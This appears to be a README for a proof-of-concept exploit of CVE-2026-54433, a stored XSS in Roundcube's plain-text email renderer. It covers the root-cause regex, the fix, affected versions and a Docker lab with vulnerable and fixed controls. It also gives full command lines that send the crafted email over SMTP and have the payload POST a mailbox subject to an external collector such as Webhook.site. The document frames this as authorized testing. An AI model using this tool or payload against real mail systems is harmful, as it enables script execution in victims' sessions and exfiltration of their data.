
Configurable Python PoC for CVE-2026-54433, a stored XSS in Roundcube's plain-text email renderer. Generates crafted .eml, sends via SMTP, and validates impact in a Docker lab.

This repository contains a configurable Python proof of concept for
CVE-2026-54433, a stored cross-site scripting vulnerability in Roundcube's
plain-text email renderer. An unauthenticated sender can deliver a crafted
text/plain message. When an authenticated Roundcube user opens or previews
that message, attacker-controlled JavaScript executes in the Roundcube origin.
The PoC demonstrates concrete authenticated-session impact without collecting cookies or message bodies: it reads the subject of one older message and sends that value, the Roundcube origin, and the task name to an authorized collector as URL-encoded POST fields.
Warning
This is active exploit code. Use it only in a lab you own or against a system and mailbox you are explicitly authorized to test. The sending mode transmits a crafted email and may disclose one pre-existing subject to the collector. Use
--generate-onlyfor offline inspection.
Roundcube converts addresses found in plain-text messages into clickable
mailto: links. In affected versions, the optional query suffix was matched
with :
\S+. '(\?\S+)?'
Because \S includes < and >, a string beginning like an email address
could make the auto-link replacement consume an opening HTML tag while leaving
the remainder to be interpreted as markup. This minimal form illustrates the
primitive:
The upstream fix restricts the query suffix so it cannot contain angle brackets or whitespace:
. '(\?[^<>\s]+)?'
The vendor describes the issue as "zero-click" because no link click is required. Opening or previewing the email while authenticated is still the mail-client action that renders the payload.
| Release line | Status |
|---|---|
| Roundcube versions before 1.6.17 | Affected |
| Roundcube 1.6.17 and later 1.6.x | Fixed |
| Roundcube 1.7.0 and 1.7.1 | Affected |
| Roundcube 1.7.2 and later | Fixed |
The public fix commits are:
5477e979aae0317e111564bfc9971ba7707cc1654c278f4868c67b163567cae3d74e58d872913459Upgrade to Roundcube 1.6.17 / 1.7.2 or a newer supported release.
text/plain.src to invoke
onerror. A collector callback still requires browser network reachability.HttpOnly. This PoC does not attempt
to read it. Its same-origin request automatically uses the authenticated
session, and the separate-message subject is the impact proof.The demonstrated result is authenticated JavaScript execution and read access to one earlier email subject. Account takeover, arbitrary message-body theft, and server-side code execution are not claimed by this repository.
cve-2026-54433-poc.py is self-contained and uses only the Python standard
library. It:
text/plain email;CVE-2026-54433;subject, origin, and task to /capture/<random-marker>;The payload inserts the DOM comment:
<!-- This is a BugBounty test; only one subject is copied as evidence -->
It also hides the auto-linked address fragment and broken-image indicator while showing the caller-supplied benign body.
Generate the email without making a network connection:
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Account access problem' \
--body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
--collector https://collector.example.test \
--generate-only
This writes:
cve-2026-54433-trigger.emlcve-2026-54433-evidence.jsonInspect the generated message before using the sending mode.
The --collector value can be a Webhook.site UUID, capture URL, or
#!/view/ URL. The script derives the capture and polling endpoints.
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Account access problem' \
--body "Hi, I'm having trouble with my account, can you help me? My username is @abugpro. Thank you very much." \
--collector 'https://webhook.site/#!/view/REPLACE-WITH-UUID' \
--smtp-host smtp.example.com \
--smtp-port 587 \
--smtp-security starttls \
--smtp-user [email protected]
If SMTP_PASSWORD is absent, the script asks for the password without echoing
or storing it. A differently named variable can be selected with
--smtp-password-env NAME. Avoid --smtp-password on multi-user systems
because command-line arguments may be visible in process listings or shell
history.
The script asks for an explicit YES before sending. In non-interactive,
already-authorized lab automation, pass --yes. It waits up to 24 hours for a
callback by default; use --timeout SECONDS to change this.
For a non-Webhook.site collector, pass the capture base and optional JSON status endpoint:
python3 cve-2026-54433-poc.py \
--from [email protected] \
--to [email protected] \
--subject 'Authorized XSS test' \
--collector https://collector.example.test \
--poll-url https://collector.example.test/status \
--smtp-host mail.example.test \
--smtp-security starttls
The included collector.py implements the compatible /capture/<marker> and
/status endpoints. It binds to loopback by default. Real HTTPS deployment and
access control are intentionally left to the authorized tester.
The lab has no published host ports and contains only synthetic messages. It uses the same Python PoC to generate the trigger, delivers both messages into a disposable Dovecot mailbox, signs in through a disposable headless browser, and records whether the injected handler read the previous subject.
Requirements: Docker, Python 3, OpenSSL, and jq.
Vulnerable test:
./lab/run.sh
Fixed control:
ROUNDCUBE_IMAGE=roundcube/roundcubemail:1.7.3-apache \
ROUNDCUBE_VERSION=1.7.3 EXPECTED_RESULT=NOT_CONFIRMED \
./lab/run.sh
For a video or live browser demonstration, run:
./lab/demo.sh
It publishes Roundcube and the visual collector on loopback only. Open the two URLs printed by the script, show the initially empty collector, sign in using the printed synthetic credentials, click the trigger email, and return to the collector. The captured synthetic subject appears in an auto-refreshing table. Ctrl-C removes the disposable containers and network.
To record the browser interaction and a real Webhook.site callback, use the reproducible recorder. It requires Chrome, Xvfb, ffmpeg, Docker, and an authorized Webhook.site token supplied through the environment:
WEBHOOK_TOKEN='REPLACE-WITH-UUID' ./record-browser-demo.sh
The resulting MP4 shows the visible Roundcube trigger row, an annotated mouse click, and Webhook.site displaying the received synthetic subject. The token is never stored in the source tree.
Recorded artifact: assets/CVE-2026-54433-webhook-demo.mp4
The recording includes a visible terminal panel showing the generate-only Python invocation, its payload-generation output, the Roundcube click, and the resulting Webhook.site request.
The visual demo also accepts COLLECTOR_URL and COLLECTOR_VIEW_URL; point
both at an authorized Webhook.site token to show the real collector receiving
the synthetic subject. Do not reuse a token containing unrelated requests.
The end-to-end comparison was run on 2026-08-14 on x86-64 Linux with Docker:
| Control | Image digest | Injected handler | Prior subject sent | Result |
|---|---|---|---|---|
| Roundcube 1.7.1 Apache | sha256:15866e72c583a7c0117c94d515c366946b20157569d65ef9c24dca6026663b1f | eval(name) present | Yes, URL-encoded POST | CONFIRMED |
| Roundcube 1.7.3 Apache | sha256:ddf0e11b5afdbbc615e1d43a1cc9743fc44423e6c21fc93f7dd5dfaa20289ad6 | Absent; markup escaped | No callback | NOT_CONFIRMED |
Positive callback body (synthetic value, origin sanitized):
subject=Existing+private+subject+2026&origin=http%3A%2F%2Froundcube.example.test&task=mail
The structured, sanitized comparison is in
docs/e2e-results.json.
The offline check compiles the Python sources, generates a fresh .eml, and
checks its MIME type, payload primitive, visible body, comment, and metadata:
./verify.sh
Set RUN_DOCKER=1 to append both end-to-end Docker controls:
RUN_DOCKER=1 ./verify.sh
On 2026-08-14, targeted searches for CVE-2026-54433 on GitHub,
Exploit-Database, and Packet Storm did not locate a validated, configurable
mail-sending exploit with an end-to-end vulnerable/fixed comparison. Vendor and
vulnerability-database entries, scanner-template discussions, and descriptive
write-ups already existed. This is a dated search snapshot, not a claim that no
other PoC can exist.
Vulnerability discovery: Bohdan Kurinnoy, Samsung R&D Institute Ukraine (SRUKR), as credited by Roundcube.
Research, impact validation, and exploit implementation: A. Ramos
<[email protected]> (Twitter: @aramosf).
CVE-2026-54433 Roundcube plain-text email stored XSS PoC with bounded authenticated mailbox-subject evidence and a vulnerable/fixed Docker lab.